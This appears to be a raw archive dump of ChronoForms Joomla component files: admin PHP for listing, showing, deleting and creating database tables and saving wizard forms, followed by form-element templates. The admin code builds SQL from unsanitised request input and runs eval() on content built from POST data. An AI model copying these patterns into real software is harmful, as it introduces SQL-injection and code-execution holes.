$result[$table_name]; $primary = ''; foreach($table_fields as $table_field => $field_data){ if($field_data->Key == 'PRI'){ $primary = $table_field; } } //prepare the pagination $option = 'com_chronoforms.'.$table_name; $limit = $mainframe->getUserStateFromRequest($option.'.limit', 'limit', $mainframe->getCfg('list_limit'), 'int'); $limitstart = $mainframe->getUserStateFromRequest($option.'.limitstart', 'limitstart', 0, 'int'); // count entries $database->setQuery("SELECT count(*) FROM `".$table_name."`"); $total = $database->loadResult(); jimport('joomla.html.pagination'); if($limitstart > $total)$limitstart = 0; $pageNav = new JPagination($total, $limitstart, $limit); //load the data $query = "SELECT * FROM `".$table_name."`"; if(!empty($primary)){ $query .= " ORDER BY ".$primary; } $query .= " LIMIT $pageNav->limitstart,$pageNav->limit"; $database->setQuery($query); $table_data = $database->loadObjectList(); HTML_Admin_ChronoForms::list_data($table_name, $table_fields, $table_data, $pageNav); }else{ JError::raiseWarning(100, "No tables were selected."); $mainframe->redirect("index.php?option=com_chronoforms"); } } public static function show_data(){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); if((isset($_POST['table_name']) && !empty($_POST['table_name'])) || (isset($_GET['table_name']) && !empty($_GET['table_name']))){ $table_name = isset($_POST['table_name']) ? $_POST['table_name'] : $_GET['table_name']; //load some table data $result = $database->getTableFields(array($table_name), false); $table_fields = $result[$table_name]; $primary = ''; foreach($table_fields as $table_field => $field_data){ if($field_data->Key == 'PRI'){ $primary = $table_field; } } if(empty($primary)){ JError::raiseWarning(100, "No table key found."); $mainframe->redirect("index.php?option=com_chronoforms"); } //show data if(isset($_POST['cb']) && !empty($_POST['cb'])){ $database->setQuery("SELECT * FROM ".$table_name." WHERE ".$primary."='".$_POST['cb'][0]."'"); $row_data = $database->loadObject(); HTML_Admin_ChronoForms::show_data($table_name, $table_fields, $row_data); }else{ JError::raiseWarning(100, "Invalid record."); $mainframe->redirect("index.php?option=com_chronoforms"); } }else{ JError::raiseWarning(100, "Table doesn't exist!"); $mainframe->redirect("index.php?option=com_chronoforms"); } } public static function delete_data(){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); if((isset($_POST['table_name']) && !empty($_POST['table_name'])) || (isset($_GET['table_name']) && !empty($_GET['table_name']))){ $table_name = isset($_POST['table_name']) ? $_POST['table_name'] : $_GET['table_name']; //load some table data $result = $database->getTableFields(array($table_name), false); $table_fields = $result[$table_name]; $primary = ''; foreach($table_fields as $table_field => $field_data){ if($field_data->Key == 'PRI'){ $primary = $table_field; } } if(empty($primary)){ JError::raiseWarning(100, "No table key found."); $mainframe->redirect("index.php?option=com_chronoforms"); } //delete the form with all its actions if(isset($_POST['cb']) && !empty($_POST['cb'])){ foreach($_POST['cb'] as $r_id){ $database->setQuery("DELETE FROM ".$table_name." WHERE `".$primary."` = '".$r_id."'"); if(!$database->query()){ JError::raiseWarning(100, $database->getErrorMsg()); $mainframe->redirect("index.php?option=com_chronoforms"); } } } }else{ JError::raiseWarning(100, "Table doesn't exist!"); $mainframe->redirect("index.php?option=com_chronoforms"); } unset($_POST['cb']); ChronoFormsAdmin::list_data(); //$mainframe->redirect("index.php?option=com_chronoforms&task=list_data&table_name=".$table_name, "Deleted successfully."); } public static function create_table($task = 'create_table'){ $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); //switch task if($task == 'save_table'){ if(isset($_POST['field_name']) && !empty($_POST['field_name']) && !empty($_POST['_cf_table_name'])){ $create = array("CREATE TABLE IF NOT EXISTS `".$_POST['_cf_table_name']."` ("); $primary_key = ""; foreach($_POST['field_name'] as $k => $name){ $name = trim($name); if(!empty($name) && isset($_POST['enabled'][$k]) && ((int)$_POST['enabled'][$k] == 1)){ $length = ""; if(!empty($_POST['field_length'][$k])){ $length = "(".$_POST['field_length'][$k].")"; } $default = ""; if(!isset($_POST['nulled'][$k])){ $default = " NOT NULL"; } if(!empty($_POST['field_default'][$k])){ $default .= " default '".$_POST['field_default'][$k]."'"; } $extra = ""; if(!empty($_POST['field_extra'][$k])){ $extra = " ".$_POST['field_extra'][$k]; } $create[] = "`".$name."` ".$_POST['field_type'][$k].$length.$default.$extra.","; if(isset($_POST['field_key'][$k]) && (int)$_POST['field_key'][$k] == 1){ $primary_key = "PRIMARY KEY (`".$name."`)"; } } } if(!empty($primary_key)){ $create[] = $primary_key; } $create[] = ");"; $create = implode("\n", $create); $database->setQuery($create); if(!$database->query()){ JError::raiseWarning(100, $database->getError()."

      Check table query below:

      ".$create); $mainframe->redirect("index.php?option=com_chronoforms"); } $mainframe->redirect("index.php?option=com_chronoforms", "Table successfully created."); } }else{ $row = JTable::getInstance('chronoforms', 'Table'); if(isset($_POST['cb']) && !empty($_POST['cb'])){ $row->load($_POST['cb'][0]); $form_code = $row->content; $fields_names = ChronoFormsAdmin::_getFormFieldsNames($form_code); }else{ JError::raiseWarning(100, 'Invalid record!'); $mainframe->redirect("index.php?option=com_chronoforms"); } $defaults = array( 'cf_id' => array('type' => 'INT', 'length' => '11', 'default' => '', 'key' => 'PRI', 'extra' => 'auto_increment', 'enabled' => 1), 'cf_uid' => array('type' => 'VARCHAR', 'length' => '255', 'default' => '', 'key' => '', 'extra' => '', 'enabled' => 1), 'cf_created' => array('type' => 'DATETIME', 'length' => '', 'default' => '', 'key' => '', 'extra' => '', 'enabled' => 1), 'cf_modified' => array('type' => 'DATETIME', 'length' => '', 'default' => '', 'key' => '', 'extra' => '', 'enabled' => 1), 'cf_created_by' => array('type' => 'INT', 'length' => '11', 'default' => '', 'key' => '', 'extra' => '', 'enabled' => 1), 'cf_modified_by' => array('type' => 'INT', 'length' => '11', 'default' => '', 'key' => '', 'extra' => '', 'enabled' => 1), 'cf_ipaddress' => array('type' => 'VARCHAR', 'length' => '255', 'default' => '', 'key' => '', 'extra' => '', 'enabled' => 1), 'cf_user_id' => array('type' => 'INT', 'length' => '11', 'default' => '', 'key' => '', 'extra' => '', 'enabled' => 1) ); foreach($fields_names as $name){ if($name != 'cf_id'){ $defaults[$name] = array('type' => 'VARCHAR', 'length' => '255', 'default' => '', 'key' => '', 'extra' => '', 'enabled' => 1); } } } HTML_Admin_ChronoForms::create_table($row, $defaults); } function _getFormFieldsNames($form_code){ $fields_names = array(); $pattern_input = '/name=("|\')([^(>|"|\')]*?)("|\')/i'; preg_match_all($pattern_input, $form_code, $matches); foreach($matches[2] as $match){ if(strpos($match, '[]')){ $match = str_replace('[]', '', $match); } $fields_names[] = trim($match); } $fields_names = array_unique($fields_names); return $fields_names; } public static function wizard_preview(){ $formdata = array(); if(!empty($_POST['chronofield'])){ foreach($_POST['chronofield'] as $key => $fielddata){ $formdata['field_'.$key] = array(); foreach($fielddata as $fieldname => $fieldvalue){ $formdata['field_'.$key][$fieldname] = $fieldvalue; } } } $content = ChronoFormsAdmin::_processWizardCode($formdata); ob_start(); eval('?>'.$content); $content = ob_get_clean(); echo $content; $mainframe = JFactory::getApplication(); $mainframe->close(); } function _save_form_wizard(){ //generate XML code for the form $chronoform = array(); $formdata = array(); if(!empty($_POST['chronofield'])){ foreach($_POST['chronofield'] as $key => $fielddata){ $formdata['field_'.$key] = array(); foreach($fielddata as $fieldname => $fieldvalue){ $formdata['field_'.$key][$fieldname] = $fieldvalue; } } } //if easy mode, load the preset events actions if(isset($_POST['wizard_mode']) && $_POST['wizard_mode'] == 'easy'){ $_POST['chronoaction'][3] = array('type' => 'show_html'); $_POST['chronoaction'][5] = array('type' => 'event_loop'); $_POST['chronoaction'][7] = array('type' => 'event_loop'); $_POST['chronoaction'][16] = array('type' => 'handle_arrays'); } //prepare the actions details for the model $formactionsdata = array(); $action_count = 0; if(!empty($_POST['chronoaction'])){ foreach($_POST['chronoaction'] as $key => $actiondata){ $type = $_data['ChronoformAction'][$action_count]['type'] = $actiondata['type']; $_data['ChronoformAction'][$action_count]['order'] = $key; if(isset($actiondata['action_'.$actiondata['type'].'_'.$key.'_enabled'])){ $_data['ChronoformAction'][$action_count]['enabled'] = $actiondata['action_'.$actiondata['type'].'_'.$key.'_enabled']; unset($actiondata['action_'.$actiondata['type'].'_'.$key.'_enabled']); }else{ $_data['ChronoformAction'][$action_count]['enabled'] = 1; } //$_data['ChronoformAction'][$action_count]['event'] = $actiondata['action_'.$actiondata['type'].'_'.$key.'_event']; //unset($actiondata['action_'.$actiondata['type'].'_'.$key.'_event']); if(isset($actiondata['action_'.$actiondata['type'].'_'.$key.'_content1'])){ $_data['ChronoformAction'][$action_count]['content1'] = $actiondata['action_'.$actiondata['type'].'_'.$key.'_content1']; unset($actiondata['action_'.$actiondata['type'].'_'.$key.'_content1']); } unset($actiondata['type']); foreach($actiondata as $actionname => $actionvalue){ $actiondata[str_replace('action_'.$type.'_'.$key.'_', '', $actionname)] = $actionvalue; unset($actiondata[$actionname]); } $_data['ChronoformAction'][$action_count]['params'] = $actiondata; $action_count++; } } $chronoform['formcode'] = $formdata; /*print_r2($_data); die(); /*echo '
      ';
      		print_r($formdata);
      		print_r($_data);
      		print_r($_POST['_form_actions_events_map']);
      		echo '
      ';*/ //save form $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); $row = JTable::getInstance('chronoforms', 'Table'); if(isset($_POST['data']['Chronoform']['id']) && !empty($_POST['data']['Chronoform']['id'])){ $_data['Chronoform']['id'] = $_POST['data']['Chronoform']['id']; if(isset($_POST['wizard_mode'])){// && $_POST['wizard_mode'] == 'easy'){ //load the form $database = JFactory::getDBO(); $database->setQuery("SELECT * FROM #__chronoforms WHERE id='".$_data['Chronoform']['id']."'"); $form = $database->loadObject(); //$_data['Chronoform']['params'] = 'form_mode='.$_POST['wizard_mode'].''."\n".trim($form->params)."\n".'form_mode='.$_POST['wizard_mode']; $form_params = new JParameter($form->params); $form_params->set('form_mode', $_POST['wizard_mode']); $form_params->set('tight_layout', $_POST['params']['tight_layout']); $_data['Chronoform']['params'] = $form_params->toString(); } }else{ $_data['Chronoform']['form_type'] = 1; //this is a new form, set it as WIZARD form if(isset($_POST['wizard_mode'])){// && $_POST['wizard_mode'] == 'easy'){ //$_data['Chronoform']['params'] = 'form_mode='.$_POST['wizard_mode']; $form_params = new JParameter(''); $form_params->set('form_mode', $_POST['wizard_mode']); $form_params->set('tight_layout', $_POST['params']['tight_layout']); $_data['Chronoform']['params'] = $form_params->toString(); } } $_POST['data']['Chronoform']['name'] = $_data['Chronoform']['name'] = $_POST['chronoform_name']; $_data['Chronoform']['published'] = $_POST['chronoform_published']; $_data['Chronoform']['app'] = $_POST['data']['Chronoform']['app']; if(isset($_POST['form_type']) && (int)$_POST['form_type'] != 0){ $_data['Chronoform']['content'] = ChronoFormsAdmin::_processWizardCode($formdata); $_data['Chronoform']['wizardcode'] = var_export($formdata, true); /*if(strpos($form->form_details->content, 'validate[') !== false){ }*/ } //get the actions events map $_data['Chronoform']['events_actions_map'] = base64_encode(serialize($_POST['_form_actions_events_map']['myform'])); //if easy mode, load the preset events map if(isset($_POST['wizard_mode']) && $_POST['wizard_mode'] == 'easy'){ $_data['Chronoform']['events_actions_map'] = "YToxOntzOjY6ImV2ZW50cyI7YToyOntzOjQ6ImxvYWQiO2E6MTp7czo3OiJhY3Rpb25zIjthOjQ6e3M6MTg6ImNmYWN0aW9uX2xvYWRfanNfMCI7czowOiIiO3M6MTk6ImNmYWN0aW9uX2xvYWRfY3NzXzEiO3M6MDoiIjtzOjIzOiJjZmFjdGlvbl9sb2FkX2NhcHRjaGFfMiI7czowOiIiO3M6MjA6ImNmYWN0aW9uX3Nob3dfaHRtbF8zIjtzOjA6IiI7fX1zOjY6InN1Ym1pdCI7YToxOntzOjc6ImFjdGlvbnMiO2E6MTI6e3M6MjQ6ImNmYWN0aW9uX2NoZWNrX2NhcHRjaGFfNCI7YToxOntzOjY6ImV2ZW50cyI7YToyOntzOjM3OiJjZmFjdGlvbmV2ZW50X2NoZWNrX2NhcHRjaGFfNF9zdWNjZXNzIjtzOjA6IiI7czozNDoiY2ZhY3Rpb25ldmVudF9jaGVja19jYXB0Y2hhXzRfZmFpbCI7YToxOntzOjc6ImFjdGlvbnMiO2E6MTp7czoyMToiY2ZhY3Rpb25fZXZlbnRfbG9vcF81IjtzOjA6IiI7fX19fXM6MjM6ImNmYWN0aW9uX3VwbG9hZF9maWxlc182IjthOjE6e3M6NjoiZXZlbnRzIjthOjI6e3M6MzY6ImNmYWN0aW9uZXZlbnRfdXBsb2FkX2ZpbGVzXzZfc3VjY2VzcyI7czowOiIiO3M6MzM6ImNmYWN0aW9uZXZlbnRfdXBsb2FkX2ZpbGVzXzZfZmFpbCI7YToxOntzOjc6ImFjdGlvbnMiO2E6MTp7czoyMToiY2ZhY3Rpb25fZXZlbnRfbG9vcF83IjtzOjA6IiI7fX19fXM6MjI6ImNmYWN0aW9uX2N1c3RvbV9jb2RlXzgiO3M6MDoiIjtzOjI1OiJjZmFjdGlvbl9oYW5kbGVfYXJyYXlzXzE2IjtzOjA6IiI7czoxODoiY2ZhY3Rpb25fZGJfc2F2ZV85IjtzOjA6IiI7czoxNzoiY2ZhY3Rpb25fZW1haWxfMTAiO3M6MDoiIjtzOjE3OiJjZmFjdGlvbl9lbWFpbF8xMSI7czowOiIiO3M6MTc6ImNmYWN0aW9uX2VtYWlsXzEyIjtzOjA6IiI7czoyMzoiY2ZhY3Rpb25fY3VzdG9tX2NvZGVfMTMiO3M6MDoiIjtzOjMxOiJjZmFjdGlvbl9zaG93X3RoYW5rc19tZXNzYWdlXzE0IjtzOjA6IiI7czoyNToiY2ZhY3Rpb25fcmVkaXJlY3RfdXNlcl8yMCI7czowOiIiO3M6MjA6ImNmYWN0aW9uX2RlYnVnZ2VyXzE4IjtzOjA6IiI7fX19fQ=="; } if(!$row->bind($_data['Chronoform'])){ JError::raiseWarning(100, $row->getError()); $mainframe->redirect("index.php?option=com_chronoforms"); } if(!$row->store()){ JError::raiseWarning(100, $row->getError()); $mainframe->redirect("index.php?option=com_chronoforms"); } $chronoform_id = $row->id; //save actions if(isset($_data['ChronoformAction']) && !empty($_data['ChronoformAction'])){ //delete previous actions to save new ones if(isset($_POST['data']['Chronoform']['id']) && !empty($_POST['data']['Chronoform']['id'])){ $database->setQuery("DELETE FROM #__chronoform_actions WHERE chronoform_id='".$_POST['data']['Chronoform']['id']."'"); if(!$database->query()){ JError::raiseWarning(100, $row->getError()); $mainframe->redirect("index.php?option=com_chronoforms"); } } //save all new actions foreach($_data['ChronoformAction'] as $action){ $row = JTable::getInstance('chronoformactions', 'Table'); $action['chronoform_id'] = $chronoform_id; $params = new JParameter(''); if(isset($action['params']) && is_array($action['params'])){ foreach($action['params'] as $k => $param){ $params->set($k, $param); } $action['params'] = $params->toString(); } if(!$row->bind($action)){ JError::raiseWarning(100, $row->getError()); $mainframe->redirect("index.php?option=com_chronoforms"); } if(!$row->store()) { JError::raiseWarning(100, $row->getError()); $mainframe->redirect("index.php?option=com_chronoforms"); } } } return $chronoform_id; } function _processWizardCode($formdata){ $content = ''; require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS."helpers".DS."html_helper.php"); $HtmlHelper = new HtmlHelper(); foreach($formdata as $formdata_key => $formdata_element){ $field_header = $formdata_element['tag'].'_'.$formdata_element['type'].'_'.str_replace('field_', '', $formdata_key); $formcontent_item_array = array(); $field_name = ''; if(isset($formdata_element[$field_header.'_input_name'])){ $field_name = $formdata_element[$field_header.'_input_name']; } //disable label if empty if(isset($formdata_element[$field_header.'_label_text']) && strlen($formdata_element[$field_header.'_label_text'])){ $formcontent_item_array['label'] = $formdata_element[$field_header.'_label_text']; }else{ $formcontent_item_array['label'] = false; } switch($formdata_element['type']){ default: $process = true; $file_name = 'input_'.$formdata_element['type']; if(file_exists(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_elements'.DS.$file_name.'.php')){ require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_elements'.DS.$file_name.'.php'); $elementclassname = preg_replace('/(?:^|_)(.?)/e', "strtoupper('$1')", 'chrono_forms_'.$file_name); if(class_exists($elementclassname)){ $elementclass = new $elementclassname; $methods = get_class_methods($elementclass); if(in_array('save', $methods)){ $formcontent_item_array = $elementclass->save($formdata_element, $field_header, $formcontent_item_array); $process = false; } } } if($process){ if(isset($formdata_element[$field_header.'_input_id'])){ $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; unset($formdata_element[$field_header.'_input_id']); } if(isset($formdata_element[$field_header.'_input_value'])){ $formcontent_item_array['default'] = $formdata_element[$field_header.'_input_value']; unset($formdata_element[$field_header.'_input_value']); } if(isset($formdata_element[$field_header.'_input_maxlength'])){ $formcontent_item_array['maxlength'] = $formdata_element[$field_header.'_input_maxlength']; unset($formdata_element[$field_header.'_input_maxlength']); } if(isset($formdata_element[$field_header.'_input_size'])){ $formcontent_item_array['size'] = $formdata_element[$field_header.'_input_size']; unset($formdata_element[$field_header.'_input_size']); } if(isset($formdata_element[$field_header.'_input_class'])){ $formcontent_item_array['class'] = $formdata_element[$field_header.'_input_class']; unset($formdata_element[$field_header.'_input_class']); } if(isset($formdata_element[$field_header.'_input_title'])){ $formcontent_item_array['title'] = $formdata_element[$field_header.'_input_title']; unset($formdata_element[$field_header.'_input_title']); } if(isset($formdata_element[$field_header.'_label_over'])){ $formcontent_item_array['label_over'] = $formdata_element[$field_header.'_label_over']; unset($formdata_element[$field_header.'_label_over']); } if(isset($formdata_element[$field_header.'_hide_label'])){ $formcontent_item_array['hide_label'] = $formdata_element[$field_header.'_hide_label']; unset($formdata_element[$field_header.'_hide_label']); } if(isset($formdata_element[$field_header.'_validations'])){ $formcontent_item_array['validations'] = $formdata_element[$field_header.'_validations']; unset($formdata_element[$field_header.'_validations']); } if(isset($formdata_element[$field_header.'_instructions'])){ $formcontent_item_array['smalldesc'] = $formdata_element[$field_header.'_instructions']; unset($formdata_element[$field_header.'_instructions']); } if(isset($formdata_element[$field_header.'_tooltip'])){ $formcontent_item_array['tooltip'] = $formdata_element[$field_header.'_tooltip']; unset($formdata_element[$field_header.'_tooltip']); } if(isset($formdata_element['real_type'])){ $formcontent_item_array['type'] = $formdata_element['real_type']; unset($formdata_element['real_type']); unset($formdata_element['type']); unset($formdata_element['tag']); } //unset the name and the label unset($formdata_element[$field_header.'_input_name']); unset($formdata_element[$field_header.'_label_text']); //load the field params array foreach($formdata_element as $k => $v){ $formcontent_item_array[str_replace($field_header.'_', '', $k)] = $formdata_element[$k]; } $formcontent_item_array['wf_key'] = str_replace('field_', '', $formdata_key); } $formcontent_item_array['container_id'] = $formdata_element['container_id']; break; } $content .= $HtmlHelper->input($field_name, $formcontent_item_array, true); } $content .= $HtmlHelper->input('empty', array('type' => 'empty', 'container_id' => 9999999), true); return $content; } public static function validationconnect($type, $host, $port='80', $path='/', $data=array()) { $mainframe = JFactory::getApplication(); $_err = 'lib sockets::'.__FUNCTION__.'(): '; $str = ''; $d = array(); //switch($type) { case 'http': $type = ''; case 'ssl': continue; default: die($_err.'bad $type'); } if(!empty($data)){ foreach($data as $k => $v){ $strarr[] = urlencode($k).'='.urlencode($v); } } $str = implode('&', $strarr); $result = ''; //echo $str; $fp = fsockopen($host, $port, $errno, $errstr, 30); if(!$fp){ //$mainframe->redirect( "index.php?option=com_chronoforms", $_err.$errstr.$errno); $result = 'error'; //die($_err.$errstr.$errno); }else{ fputs($fp, "POST $path HTTP/1.1\r\n"); fputs($fp, "Host: $host\r\n"); fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($fp, "Content-length: ".strlen($str)."\r\n"); fputs($fp, "Connection: close\r\n\r\n"); fputs($fp, $str."\r\n\r\n"); while(!feof($fp)){ $d[] = fgets($fp,4096); } fclose($fp); $result = $d[count($d) - 1]; } return $result; } } ?>PK@y>\>, 9components/com_chronoforms/form_elements/input_custom.ctpnuW+A
      Custom Element (HTML/PHP)

      Custom Element Here

      Header(array('general' => 'General'), 'input_custom_element_config_{n}'); ?> tabStart('general'); ?> input('input_custom_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'can be used to show the server side error messages.')); ?> input('input_custom_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> input('input_custom_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_custom_{n}_clean_config', array('type' => 'checkbox', 'label' => 'Pure code', 'class' => 'small_input', 'value' => '1', 'rule' => "bool", 'smalldesc' => 'Should the code be rendered without being included inside any containers ?')); ?> input('input_custom_{n}_code_config', array('type' => 'textarea', 'label' => 'Code', 'rows' => 15, 'cols' => 50, 'style' => 'width:450px !important;')); ?> input('input_custom_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_custom_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> tabEnd(); ?>
      PK@y>\{[0]*]*8components/com_chronoforms/form_elements/input_radio.ctpnuW+A
      Radio Box
      radio('Chronoforms.'.$element_params['input_name'], $element_params['options'], array('value' => $element_params['input_value'], 'legend' => $element_params['legend'])); ?> $radio_option_text): ?> $radio_option_text){ if(!empty($options)){ $options .= "\n"; } $options .= $radio_option_value.'='.$radio_option_text; } ?> input('chronofield[{n}][input_radio_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_radio_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_radio_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_radio_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_radio_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_radio_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_radio_{n}_input_value]', array('type' => 'hidden', 'id' => 'input_radio_{n}_input_value', 'value' => $element_params['input_value'])); ?> input('chronofield[{n}][input_radio_{n}_radios_over]', array('type' => 'hidden', 'id' => 'input_radio_{n}_radios_over', 'value' => $element_params['radios_over'])); ?> input('chronofield[{n}][input_radio_{n}_legend]', array('type' => 'hidden', 'id' => 'input_radio_{n}_legend', 'value' => $element_params['legend'])); ?> input('chronofield[{n}][input_radio_{n}_ghost]', array('type' => 'hidden', 'id' => 'input_radio_{n}_ghost', 'value' => $element_params['ghost'])); ?> input('chronofield[{n}][input_radio_{n}_ghost_value]', array('type' => 'hidden', 'id' => 'input_radio_{n}_ghost_value', 'value' => $element_params['ghost_value'])); ?> input('chronofield[{n}][input_radio_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_radio_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_radio_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_radio_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_radio_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_radio_{n}_hide_label', 'value' => $element_params['hide_label'])); ?> input('chronofield[{n}][input_radio_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_radio_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_radio_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_radio_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?> input('chronofield[{n}][input_radio_{n}_enable_dynamic_data]', array('type' => 'hidden', 'id' => 'input_radio_{n}_enable_dynamic_data', 'value' => $element_params['enable_dynamic_data'])); ?> input('chronofield[{n}][input_radio_{n}_data_path]', array('type' => 'hidden', 'id' => 'input_radio_{n}_data_path', 'value' => $element_params['data_path'])); ?> input('chronofield[{n}][input_radio_{n}_value_key]', array('type' => 'hidden', 'id' => 'input_radio_{n}_value_key', 'value' => $element_params['value_key'])); ?> input('chronofield[{n}][input_radio_{n}_text_key]', array('type' => 'hidden', 'id' => 'input_radio_{n}_text_key', 'value' => $element_params['text_key'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'validation' => 'Validation', 'ghost' => 'Ghost', 'dynamic_data' => 'Dynamic Data'), 'input_radio_element_config_{n}'); ?> tabStart('general'); ?> input('input_radio_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_radio_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, but underscores _ and square brackets [] are allowed.')); ?> input('input_radio_{n}_input_title_config', array('type' => 'text', 'label' => 'Field title', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Change this to override the default JS validation error message.')); ?> input('input_radio_{n}_input_value_config', array('type' => 'text', 'label' => 'Field Default Value', 'class' => 'small_input', 'value' => '')); ?> input('input_radio_{n}_options_config', array('type' => 'textarea', 'label' => 'Options', 'rows' => 5, 'cols' => 50, 'operation' => "multi_option", 'operation_fieldtype' => "radio", 'smalldesc' => 'in value=text multi line format.')); ?> input('input_radio_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_radio_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_radio_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_radio_{n}_radios_over_config', array('type' => 'checkbox', 'label' => 'Radios Vertical', 'value' => '1', 'rule' => "bool")); ?> input('input_radio_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_radio_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> input('input_radio_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_radio_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_radio_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?> tabStart('ghost'); ?> input('input_radio_{n}_ghost_config', array('type' => 'checkbox', 'label' => 'Enable Ghost', 'class' => 'small_input', 'value' => '1', 'rule' => "bool", 'smalldesc' => 'The ghost is a hidden field with the same name to assure that a key with this field name always exists in the POST array.')); ?> input('input_radio_{n}_ghost_value_config', array('type' => 'text', 'label' => 'Ghost Value', 'value' => '', 'class' => 'medium_input', 'smalldesc' => 'Value here will appear if no choice has been made.')); ?> tabEnd(); ?> tabStart('dynamic_data'); ?> input('input_radio_{n}_enable_dynamic_data_config', array('type' => 'select', 'label' => 'Enable', 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => '1', 'smalldesc' => 'Enable Dynamic options loading, the options should exist in the $form->data array.')); ?> input('input_radio_{n}_data_path_config', array('type' => 'text', 'label' => 'Data Path', 'value' => '', 'smalldesc' => 'The data path in the $form->data array, can be a MODEL ID, or a path using dots: MODEL1.MODEL2')); ?> input('input_radio_{n}_value_key_config', array('type' => 'text', 'label' => 'Value Key', 'smalldesc' => 'The key name under which each option value will be found, so for example, if you have a multi list of users data loaded, then you may enter here "id"')); ?> input('input_radio_{n}_text_key_config', array('type' => 'text', 'label' => 'Text Key', 'smalldesc' => 'The key name under which each option text will be found, so for example, if you have a multi list of users data loaded, then you may enter here "username"')); ?> tabEnd(); ?>
      PK@y>\]9components/com_chronoforms/form_elements/input_submit.phpnuW+A 'input_submit_{n}', 'input_id' => '', 'input_class' => '', 'multiline_start' => '0', 'multiline_add' => '0', 'button_type' => 'submit', 'button_align' => 'left', 'back_button' => 0, 'reset_button' => 0, 'container_id' => 0, 'back_button_value' => 'Back', 'reset_button_value' => 'Reset', 'input_value' => 'Submit'); } return array('element_params' => $element_params); } function save($formdata_element = array(), $field_header = '', $formcontent_item_array = array()){ $formcontent_item_array['name'] = $formdata_element[$field_header.'_input_name']; $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; $formcontent_item_array['class'] = $formdata_element[$field_header.'_input_class']; $formcontent_item_array['multiline_start'] = $formdata_element[$field_header.'_multiline_start']; $formcontent_item_array['multiline_add'] = $formdata_element[$field_header.'_multiline_add']; $formcontent_item_array['button_type'] = $formdata_element[$field_header.'_button_type']; $formcontent_item_array['button_align'] = $formdata_element[$field_header.'_button_align']; $formcontent_item_array['back_button'] = $formdata_element[$field_header.'_back_button']; $formcontent_item_array['reset_button'] = $formdata_element[$field_header.'_reset_button']; $formcontent_item_array['back_button_value'] = $formdata_element[$field_header.'_back_button_value']; $formcontent_item_array['reset_button_value'] = $formdata_element[$field_header.'_reset_button_value']; $formcontent_item_array['value'] = $formdata_element[$field_header.'_input_value']; $formcontent_item_array['type'] = $formdata_element['type']; return $formcontent_item_array; } } ?>PK@y>\뚶Rc,c,Acomponents/com_chronoforms/form_elements/input_checkbox_group.ctpnuW+A
      CheckBoxes Group
